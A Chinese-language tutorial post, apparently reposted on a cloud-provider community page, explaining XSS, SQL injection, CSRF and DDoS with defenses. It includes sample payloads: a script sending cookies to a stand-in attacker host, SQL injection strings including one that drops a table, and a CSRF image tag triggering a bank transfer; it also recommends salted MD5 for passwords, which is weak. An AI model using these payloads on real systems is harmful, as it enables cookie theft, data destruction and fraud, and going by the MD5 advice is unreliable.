總結幾種常見web攻擊手段及其防禦方式

來源:互聯網
上載者:User

標籤:account   orm   基礎上   信任   控制   佔用   類比   http請求   破壞   

本文簡單介紹幾種常見的攻擊手段及其防禦方式
  • XSS(跨站指令碼攻擊)
  • CSRF(跨站請求偽造)
  • SQL注入
  • DDOS
web安全系列目錄
  • 總結幾種常見web攻擊手段極其防禦方式
  • 總結幾種常見的安全演算法
XSS概念
  • 全稱是跨站指令碼攻擊(Cross Site Scripting),指攻擊者在網頁中嵌入惡意指令碼程式。
案列
  • 比如說我寫了一個部落格網站,然後攻擊者在上面發布了一個文章,內容是這樣的 <script>window.open(“www.gongji.com?param=”+document.cookie)</script>,如果我沒有對他的內容進行處理,直接儲存到資料庫,那麼下一次當其他使用者訪問他的這篇文章的時候,伺服器從資料庫讀取後然後響應給用戶端,瀏覽器執行了這段指令碼,然後就把該使用者的cookie發送到攻擊者的伺服器了。
被攻擊的原因
  • 使用者輸入的資料變成了代碼,比如說上面的<script>,應該只是字串卻有了代碼的作用。
預防
  • 將輸入的資料進行轉義處理,比如說講 < 轉義成&lt;
SQL注入概念
  • 通過sql命令偽裝成正常的http請求參數,傳遞到伺服器端,伺服器執行sql命令造成對資料庫進行攻擊
案例
  • ‘ or ‘1‘= ‘1。這是最常見的sql注入攻擊,當我們輸如使用者名稱 jiajun ,然後密碼輸如‘or ‘1‘= ‘1的時候,我們在查詢使用者名稱和密碼是否正確的時候,本來要執行的是select * from user where username=‘‘ and password=‘‘,經過參數拼接後,會執行sql語句 select * from user where username=‘jaijun‘ and password=‘ ‘ or ‘ 1‘=‘1 ‘,這個時候1=1是成立,自然就跳過驗證了。
  • 但是如果再嚴重一點,密碼輸如的是‘;drop table user;--,那麼sql命令為select * from user where username=‘jiajun‘ and password=‘‘;drop table user;--‘ 這個時候我們就直接把這個表給刪除了
被攻擊的原因
  • sql語句偽造參數,然後在對參數進行拼接的後形成破壞性的sql語句,最後導致資料庫受到攻擊
預防
  • 在java中,我們可以使用先行編譯語句(PreparedStatement),這樣的話即使我們使用sql語句偽造成參數,到了服務端的時候,這個偽造sql語句的參數也只是簡單的字元,並不能起到攻擊的作用。
  • 很多orm架構已經可以對參數進行轉義
  • 做最壞的打算,即使被’拖庫‘(‘脫褲,資料庫泄露‘)。資料庫中密碼不應明文儲存的,可以對密碼使用md5進行加密,為了加大破解成本,所以可以採用加鹽的(資料庫儲存使用者名稱,鹽(隨機字元長),md5後的密文)方式。
CSRF概念
  • 全稱是跨站請求偽造(cross site request forgery),指通過偽裝成受信任使用者的進行訪問,通俗的講就是說我訪問了A網站,然後cookie存在了瀏覽器,然後我又訪問了一個流氓網站,不小心點了流氓網站一個連結(向A發送請求),這個時候流氓網站利用了我的身份對A進行了訪問。
案列
  • 這個例子可能現實中不會存在,但是攻擊的方式是一樣的。比如說我登入了A銀行網站,然後我又訪問了室友給的一個流氓網站,然後點了裡面的一個連結 www.A.com/transfer?account=666&money=10000,那麼這個時候很可能我就向帳號為666的人轉了1w軟妹幣
  • 注意這個攻擊方式不一定是我點了這個連結,也可以是這個網站裡面一些資源請求指向了這個轉賬連結,比如說一個<img src="http://www.A.com/transfer?account=666&money=10000">
被攻擊的原因
  • 使用者本機存放區cookie,攻擊者利用使用者的cookie進行認證,然後偽造使用者發出請求
預防
  • 之所以被攻擊是因為攻擊者利用了儲存在瀏覽器用於使用者認證的cookie,那麼如果我們不用cookie來驗證不就可以預防了。所以我們可以採用token(不儲存於瀏覽器)認證。
  • 通過referer識別,HTTP Referer是header的一部分,當瀏覽器向web伺服器發送請求的時候,一般會帶上Referer,告訴伺服器我是從哪個頁面連結過來的,伺服器基此可以獲得一些資訊用於處理。那麼這樣的話,我們必須登入銀行A網站才能進行轉賬了。
DDOS概念
  • 分散式阻斷服務攻擊(Distributed Denial of Service),簡單說就是發送大量請求是使伺服器癱瘓。DDos攻擊是在DOS攻擊基礎上的,可以通俗理解,dos是單挑,而ddos是群毆,因為現代技術的發展,dos攻擊的殺傷力降低,所以出現了DDOS,攻擊者藉助公用網路,將大數量的電腦裝置聯合起來,向一個或多個目標進行攻擊。
案例
  • SYN Flood ,簡單說一下tcp三向交握,用戶端先伺服器發出請求,請求建立串連,然後伺服器返回一個報文,表明請求以被接受,然後用戶端也會返回一個報文,最後建立串連。那麼如果有這麼一種情況,攻擊者偽造ip地址,發出報文給伺服器請求串連,這個時候伺服器接受到了,根據tcp三向交握的規則,伺服器也要回應一個報文,可是這個ip是偽造的,報文回應給誰呢,第二次握手出現錯誤,第三次自然也就不能順利進行了,這個時候伺服器收不到第三向交握時用戶端發出的報文,又再重複第二次握手的操作。如果攻擊者偽造了大量的ip地址並發出請求,這個時候伺服器將維護一個非常大的半串連等待列表,佔用了大量的資源,最後伺服器癱瘓。
  • CC攻擊,在應用程式層http協議上發起攻擊,類比正常使用者發送大量請求直到該網站拒絕服務為止。
被攻擊的原因
  • 伺服器頻寬不足,不能擋住攻擊者的攻擊流量
預防
  • 最直接的方法增加頻寬。但是攻擊者用各地的電腦進行攻擊,他的頻寬不會耗費很多錢,但對於伺服器來說,頻寬非常昂貴。
  • 雲端服務供應商有自己的一套完整DDoS解決方案,並且能提供豐富的頻寬資源
總結
  • 上面一共提到了4中攻擊方式,分別是xss攻擊(關鍵是指令碼,利用惡意指令碼發起攻擊),CSRF攻擊(關鍵是藉助本地cookie進行認證,偽造發送請求),SQL注入(關鍵是通過用sql語句偽造參數發出攻擊),DDOS攻擊(關鍵是通過手段發出大量請求,最後令伺服器崩潰)
  • 之所以攻擊者能成功攻擊,使用者操作是一個原因,伺服器端沒有做好防禦是一個問題,因為無法控制使用者的操作,所以需要我們伺服器端的開發做好防禦。
  • 沒有覺得絕對安全,只要更安全。

轉自: http://www.cnblogs.com/-new/p/7135814.html

總結幾種常見web攻擊手段及其防禦方式

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.